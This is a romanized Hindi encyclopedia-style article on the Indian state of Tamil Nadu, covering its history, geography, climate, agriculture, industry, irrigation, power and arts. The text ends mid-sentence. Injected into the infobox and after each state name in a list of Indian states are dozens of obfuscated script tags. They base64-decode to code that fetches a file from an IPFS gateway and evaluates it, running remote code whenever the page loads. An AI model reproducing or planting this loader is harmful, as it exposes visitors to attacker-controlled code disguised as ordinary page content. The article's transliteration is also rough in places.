तमिल नाडु

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tamil nadu
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rajadhani	chennee
rajabhasha(ean)	tamil bhasha
sthapana	1 navanbar, 1956
janasankhya	62,405,679
· ghanatv	511 /varg kimi
kshetraphal	130,058 varg kimi
bhaugolik nirdeshaank	13°05′N 80°16′E
zile	32
sabase b da nagar	chennee, koyanbatur, eerod, maduree, vellor
mahanagar	chennee
liang anupat	1000:987 ♂/♀
saksharata	73.5%
· stri	64.4%
· purush	82.4%
rajyapal	banavarilal purohit
mukhyamantri	ke. palanisvami
vidhanasabha sadasy	234
bahari k diyaan	adhikarik vebasait
adyatan‎	17:35, 18 faravari 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tamil nadu (aangrezi: Tamil Nadu, tamil: தமிழ்நாடு) bharat ka ek dakshini rajy hai. tamil nadu ki rajadhani chennee hai. tamil nadu ke any mahattvapoorn nagar madurai, tiruchirappalli, koyanbatur, kaanchipuram, kanyakumari haian. tamil nadu ke p dosi rajy aandhr pradesh, karnatak aur keral haian. tamil nadu mean boli jane vali pramukh bhasha tamil hai.

namakaran

tamil nadu shabd tamiळ bhasha ke tamil tatha nadu (நாடு) jisaka shabdik arth ghar ya vas, sthan, se milakar bana hai jisaka arth hai tamiloan ka ghar ya tamiloan ka desh hai. british shasanakal mean yah praant madras presideansi ka hissa tha. svatantrata ke bad madras presideansi ko kee bhagoan mean baant diya gaya, jisake phalasvaroop madras tatha any rajyoan ka uday hua. 1968 mean madras praant ka nam badalakar tamil nadu kar diya gaya.

itihas

tamil nadu ka itihas bahut purana hai. yadyapi praranbhik kal ke sangam granthoan mean is kshetr ka itihas ka ash‍pashh‍t ulh‍lekh mila hai, kiantu tamil nadu ka likhit itihas pallav rajaoan ke samay se hi upalabh‍dh haian. yah kuchh sthanoan mean se ek hai jo pragaitihasik kal se aj tak abad hai. prarambh mean yah tin prasiddh rajavanshoan ki karmabhoomi rahi hai - cher, chol tatha paanday. thumb|left|250px|vellor qila, tamil nadu tamil nadu ke prachin sahity mean, yahaan ke rajaoan, rajakumaroan tatha unake prashansak kaviyoan ka vivaran milata hai. visheshajn manate haian ki yah sahity eesa ke bad ki kuchh praranbhik sadiyoan ka hai. tamil nadu mean sthit uttaramerur gram, jahaan se pallav evan chol kal ke lagabhag do sau abhilekh mile haian. chol, pahali sadi se lekar chauthi sadi tak mukhy adhipati rahe. inamean pramukh nam karikal chol hai, jisane apane samrajy ka vistar kaanchipuram tak kiya. chauthi shatabh‍di ke poorvarddh mean pallavoan ka varchash‍v qayam hua. unh‍hoanne hi dravi d shaili ki prasiddh mandir vastukala ka sootrapat kiya. aantim pallav raja aparajit the, jinake rajh‍y mean lagabhag dasavian shatabh‍di mean chol shasakoan ne vijayalay aur adity ke margadarshan mean apana mahath‍v badhaya. gh‍yarahavian shatabh‍di ke aant mean tamil nadu par chaluky, chol, paanday jaise anek rajavanshoan ka shasan raha. isake bad ke 200 varsho tak dakshin bharat par chol samrajy ka adhipath‍y raha. tamil ka sangam sahity cher, chol vansh aur paanday vanshoan ke shasanakal mean pachaeemalaee paha diyoan mean phala aur phoola hai.

chol rajaoan ne vartaman tanjavur zila aur tiruchirapalli zile tak apane rajy ka vistar kiya. is kal mean chol rajaoan ne dakshin mean shrilanka tatha uttar mean apana prabhutv sthapit kiya. tisari sadi mean kalabhroan ke akraman se chol rajaoan ka patan ho gaya. kalabhroan ko chhathi sadi tak, uttari bhag mean pallavoan tatha dakshin bhag mean paandayoan ne harakar bhaga diya .

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean tamil nadu ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian-si. subrahmanyam, chakravarti rajagopalachari, chidanbaram pillee, ti.es.es. rajan, kasinathooni nageshvar rav, ke. kamaraj, ke. santanam, minajur bhaktavatsalam adi.

bhoogol

tamil nadu rajy prakritik roop se poorvi tat par samatal pradesh tatha uttar aur pashchim mean paha di kshetroan ke bich vibhajit hai. poorvi maidan ka sabase chau da hissa upajaoo kaveri ke delta par hai aur age dakshin mean ramanathapuram aur madurai ke shushk maidan haian. rajy ke samooche pashchimi simaant par pashchimi ghat ki ooanchi shriankhala phaili huee hai. poorvi ghat ki nichali paha diyaan aur simaant kshetr, jo sthaniy taur par javadi, kalarayan aur shevar aauy kahalate haian, pradesh ke madhy bhag ki or phaile haian. [[chitr:Shore-Temple-Mamallapuram.jpg|thumb|left|250px|shor mandir, mahabalipuram]] mahattvapoorn nadiyoan mean kaveri, ponnaiyar, palar, vaigee aur taanbraparni shamil haian, ye sabhi nadiyoan aantarsthaliy paha diyoan se poorv ki or bahati haian. kaveri aur isaki sahayak nadiyaan tamil nadu ke jal evan vidyut ka mahattvapoorn srot haian.

nadiyoan ke delta ki jalodh mitti ki prachurata ke sath-sath yahaan ki mukhy mittiyoan mean chikani mitti, domat mitti, retili aur lal mitti paee jati hai. kapas utpadak kali mitti 'regoor' (reg d) ke nam se jani jati hai aur yah pashchim mean selam v koyanbattur, dakshin mean ramanathapuram v tirunelveli tatha madhy mean tiruchirappalli ke kuchh hissoan mean paee jati hai.

tamil nadu rajy ke lagabhag 15 pratishat hisse mean van haian. pashchimi ghat ke uchchatam shikharoan vale parvat- nilagiri, annamalaee aur palani paha diyaan - upaalpiy vanaspatiyoan ko sahara dete haian. pashchim ghat ke poorv ki or tatha uttari evan madhyavarti ziloan ki paha diyoan ki vanaspatiyoan mean sadabahar v parnapati vrikshoan ke mishrit van haian; jinamean se kuchh shushk paristhitiyoan ke kafi anukool haian. vanoan se prapt kashth utpad mean chandan, palpavud (lugadi banane yogy kashth) aur baans shamil haian. rabar bhi ek mahattvapoorn vanopaj hai. yahaan ke jaliy pakshiyoan ka pratinidhitv vedaantaangal sthit pakshi abhayarany karata hai, jabaki any vany praniyoan ko mudamalaee sthit akhet abhayarany mean dekha ja sakata hai.

jalavayu

tamil nadu rajy ki jalavayu moolat: ushnakatibandhiy hai. grishmakal mean tapaman yada-kada hi 43° se. se oopar aur shit rritu mean 18-24° se. se niche jata hai. disanbar aur janavari mean nyoonatam tatha aprail aur joon mean adhikatam tapaman rik aaurd kiya jata hai. ausat varshik varsha dakshin-pashchimi aur poorvottar m aaunasoon par nirbhar hai tatha yah mukhyatah aktoobar se disanbar ke bich aur prativarsh 635 mimi se 1,905 mimi ke bich hoti hai. adhikaansh varsha nilagiri v any parvatiy kshetroan mean aur sabase kam ramanathapuram tatha tiroonelvali ziloan mean hoti hai.

arthavyavastha

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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krishi

tamil nadu ki gramin janasankhya ke lagabhag tin-chauthaee hisse ke jivan ka adhar krishi hai. tamil nadu mean mukhh‍y vh‍yavasay‍ krishi hai. rajh‍y mean 2007-08 mean kul kheti yogh‍y kshetr 56.10 miliyan hekh‍teyar tha. pramukh khadyanh‍n fasalean chaval, jh‍var aur dalean haian. pramukh vh‍yaparik fasaloan mean ganna, kapas, soorajamukhi, nariyal, kajoo, mirch, jhianjheli aur mooangaphali haian. anh‍y paudh fasalean haian - chay, k aauphi, ilayachi aur rabar. mukhh‍y van uth‍pad haian - imarati lak di, chandan ki lak di, palh‍pavud aur jalane yogh‍y lak di jaiv urvarakoan ke uth‍padan aur ish‍temal mean tamil nadu ka pramukh sh‍than hai. kam varsha vale kshetroan mean krishi uth‍padan badhane ke lie krishi takanik mean sudhar kiya ja raha hai. 2007-08 mean yahaan ka varshik anaj uth‍padan 100.35 lakh tan se adhik raha. aranbhik kal se hi tamil kisanoan ne kam matra mean hone vale varsha jal ko chhote aur b de sianchaee jalashayoan ya talaboan mean kushalatapoorvak sanrakshit kiya hai. sarakari nahar, nalakoop aur kuean bhi sianchaee pranali ka hissa haian. chooanki vibhinn nadi ghati pariyojanaean pani ke lie an aniyamit poorvottar manasoon par nirbhar haian, isalie prashasan bhoomigat jal srotoan ke adhikatam upayog ka prayas kar raha hai.

1950 se krishi paddhati mean atyadhik sudhar aya hai. bahu-fasal pranali, chaval, kapas, chini aur jvar-bajara ki nee v behatar qismoan ka prayog tatha rasayanik urvarak ke upayog ko vistrit roop se apanaya gaya hai. 1967 tak rajy khadyann ke utpadan mean atmanirbhar ho gaya tha.

udyog aur khanij

rajh‍y ke pramukh udyog haian - sooti kapada, bhari vanijyik vahan, aauto kalapurje, rel ke dibh‍be, vidyutachalit panp, chamada udyog, simeant, chini, kagaz, aautomobail aur machis. tamil nadu ke audyogik paridrishh‍y mean soochana praudyogiki aur jaiv praudyogiki jaise jnan adharit udyogoan ko vishesh mahath‍v diya gaya hai. s aauphtaveyar tekh‍nol aauji park, taidail ki sh‍thapana tharamani, chennee mean ki gee hai. varsh 2006-07 mean rajh‍y se, 20,700 karo d rupe ka niryat hua jo 2007-08 mean 25,000 karo d rupe ho jaega. nokiya, motorola, ph aaukh‍sak aaum, phlaikh‍satr aaunik aur dail jaisi b di soochana praudyogiki aur doorasanchar kanpaniyaan yahaan uth‍padan kar rahi haian.

aantarrashh‍triy aauto kanpani

aantarrashh‍triy aauto kanpani huandee motars, phord, hiandush‍tan motars aur mith‍sibishi ne tamil nadu mean uth‍padan ikaiyaan shuroo ki haian. ashok lelaiand aur taphe ne chennee mean vish‍tar sanyantr lagae haian. [[chitr:Saltern-Tuticorin-Tamil-Nadu.jpg|thumb|250px|left|namak ka karakhana, tutikorin]]

khanij sanpada

grenait, ligh‍nait aur choona path‍thar rajh‍y ki pramukh khanij sanpada hai. rajh‍y taiyar khaloan aur cham de ka saman, sooti dhage, chay, k aauphi, masale, ianjiniyariang saman, tanbakoo, hash‍taship vash‍tuean aur kale grenait path‍thar ka pramukh niryatak hai. tamil nadu mean desh ke 60 pratishat cham da shodhan karakhane haian. tamil nadu rajy mean sthit shahar tiruppur, bune hue sooti vastr ke nirman ka pramukh keandr ban gaya hai. choona-patthar, b aauksait, jipsam, lignait, maignesait aur lauh ayask mahattvapoorn khanij haian. kapas ki otaee, kataee aur bunaee hamesha se pramukh udyog rahe haian.

audyogik vikas

vikasit bandaragah suvidhaean aur bijali ke prabhavashali upayog ne rajy ke audyogik vikas ko sahayog diya hai. tamil nadu bharat ke sarvadhik audyogik vikas ko sahayog diya hai. tamil nadu bharat ke sarvadhik audyogik rajyoan mean se ek hai. vahan, motar saikil, traansaf aaurmar, chini, krishi upakaran, urvarak, simeant, kagaz, rasayan aur vidyut motar ke utpadan se ju de udyog ate haian. peranboor sthit relaga di ke dibbe banane ka karakhana eshiya ke sabase b de karakhanoan mean se ek hai. chennee ke nikat avadi mean sthit bhari vahan ke karakhane mean topoan ka nirman hota hai. chennee mean ek tel parishodhanashala aur neveli mean ek tapavidyut sanyantr hai, ye donoan sarakari upakram haian. matsy utpadan ke kshetr mean keral ke bad tamil nadu doosare sthan par ata hai.

hastashilp

tamil nadu hastashilp kala mean samriddh hai, jisamean hathakaraghe ka resham, dhatu ki moortiyaan cham de ka kam, qalamakari (hath se chhapaee kie vastr, jinamean prakritik rangoan ka upayog hota hai), taanba, pital aur kaanse ki vastuean, lak di ka kam, ta dapatr ka kam aur beant ka saman pramukh hai.

sianchaee

thumb|250px|krishnaagiri baandh, tamil nadu vishv baiank ki sahayata se karyanvit ‘pranali sudhar aur kisan ay pariyojana’ ke phalash‍varoop mahath‍vapoorn sianchaee yojanaoan tatha vartaman periyar vaigee pranali, palar thala pranali aur pairanbikulam-aliyar pranali ke alava chhah lakh ek d ki ayakat tatha velh‍lar, penh‍nayar, a‍raniyar amaravati, chithar thala adi chhoti sianchaee pranaliyaan labhanvit huee haian. hal hi mean shuroo huee aur dhimi gati se chal rahi nau sianchaee pariyojanaoan ka kam samuchit dhan aur margadarshan ke bad teji se chal raha hai . tamil nadu ke ek tihaee kshetr ki sianchaee karane vali badi sianchaee pranali - talab sianchaee pranali ke vikas par vishesh dhh‍yan diya ja raha hai aur sarvajanik nirman vibhag ke palar, vaigee tatha tamraparni thaloan mean karyarat 620 talaboan ke punarvas aur vikas ka kam kiya ja raha hai. yah pariyojana poori hone vali hai aur kisanoan ki poori santushshti ki gee hai.

tamil nadu ‘nadi thala prabandhan’ pranali karane vala aisa pahala rajh‍y hai jo aisi vh‍yaktigat sansh‍tha dvara chalaya ja raha hai jisamean thala ke pratinidhiyoan ke alava kisan bhi haian. aranbh mean palar aur tamaraparani besinoan ke lie besin prabandh bord banae ge haian.

bijali

rajh‍y mean bijali ki kul uth‍padan kshamata 8,249 megavat hai. rajh‍y kshetr ki sh‍thapit kshamata 5,288 megavat aur niji kshetr ki sh‍thapit kshamata 1,058 megavat hai. isake alava ise keandr kshetr se apane hish‍se ki 1903 megavat bijali milati hai. dasavian panchavarshiy yojana ke aant tak maang 8,890 megavat ho jane ki ummid hai.

kala

bharat ki ek pramukh shastriy nrity shaili bharatanatyam aur karnatak sangit, donoan ka rajy mean vyapak prachalan hai. yadyapi chitrakala evan moortikala kam vikasit hai, phir bhi yahaan patthar evan kaanse ki moortiyaan banane ki kala ki shiksha ke lie vidyalay haian. tamil sahity ne tezi se laghu kathaoan v upanyasoan ke pashchimi sahityik svaroop ko apanaya hai. subrahamanyam si. bharati (1882-1921) paranparik tamil kavita ko adhunik banane vale praranbhik kaviyoan mean ek the. 1940 ke dashak se chalachitr jan manoranjan ka sarvadhik lokapriy madhyam bana hua. yahaan chalate-phirate aur sthayi, donoan prakar ke sinemaghar haian. bhavanatmak aur bhavy filmoan, jinamean prayah halka-phulka sangit aur nrity hota hai, ka nirman adhikatar chennee ke as-pas sthit stoodiyo mean hota hai. [[chitr:Vivekananda-Rock-Memorial.jpg|thumb|250px|left|vivekanand r aauk memoriyal, kanyakumari]]

sthapaty kala

580 ee. ke lagabhag paanday shasak, jo mandir nirman kala mean nipun the, shasan ke pramukh ho ge aur 150 saloan tak raj karate rahe. kaanchipuram unaka pramukh keandr tha. dravi d sthapaty is samay apane charam vikas par tha.

nauvian sadi mean chol rajaoan ka pun: uday hua. rajaraja chol aur usake putr rajeandr chol ke netritv mean chol shasan eshiya ke pramukh samrajyoan mean gina jata tha. unaka samrajy bangal tak phail gaya. rajeandr chol ki nau sena ne barma (myaanmar), aandaman aur nikobar dvip samooh, sumatra, java, malay tatha lakshadvip tak par adhikar kar liya. chol rajaoan ne bhuvan (mandir) nirman mean pravinata hasil kar li. tanjavur ka vrihadeshvar mandir isaka suandaratam udaharan hai. 14vian sadi ke aranbh mean paanday phir satta mean a gaye, kintu adhik dinoan tak satta mean rah na sake. unhean uttar ke muslim khilaji shasakoan ne hara diya aur unhoanne madurai ko loot liya gaya.

musalamanoan ne bhi dhire-dhire apani sthiti majaboor kar li jise chaudahavian shatabh‍di ke madhh‍y mean bahamani saltanat qayam huee. lagabhag usi samay vijayanagar samrajy ne teji apani sthiti mazaboot bana li aur samooche dakshin bharat tak apana prabhav badha liya. shatabh‍di ke aant tak vijayagar samrajh‍y dakshin ki sarvochh‍ch shakti ban chuka tha, kiantu 1564 mean talikota ki ladaee mean dakshin ke sultanoan ki samoohik faujoan se vah parajit ho gaya. [[chitr:Mahisha-Mardini-Mantapa-Mahabalipuram-4.jpg|thumb|250px|mahisha mardani manatapa, mahabalipuram]] talikota ke yuddh ke bad kuchh samay tak sthiti ash‍pashh‍t rahi, lekin is bich yoorop ke vh‍yapari apane vh‍yaparik hitoan ke lie dakshin bharat mean apane pair jamane ke lie ek-doosare se ho d karane lage the. purtagal, h aaulaiand, phraans aur ianglaiand ke log ek ke bad ek jalh‍di-jalh‍di ae aur unh‍honean apane vh‍yaparik keandr sh‍thapit kar lie, jinh‍hean un dinoan phaiktriz kaha jata tha. eest iandiya kanpani ne 1611 mean machhalipattanam (jo ab aandhr pradesh mean hai) mean apani phaikh‍tri lagaee aur dhire-dhire unh‍hoanne sh‍thaniy shasakoan ko apas mean ladakar unake kshetr hathiya lie. british logoan ne bharat mean 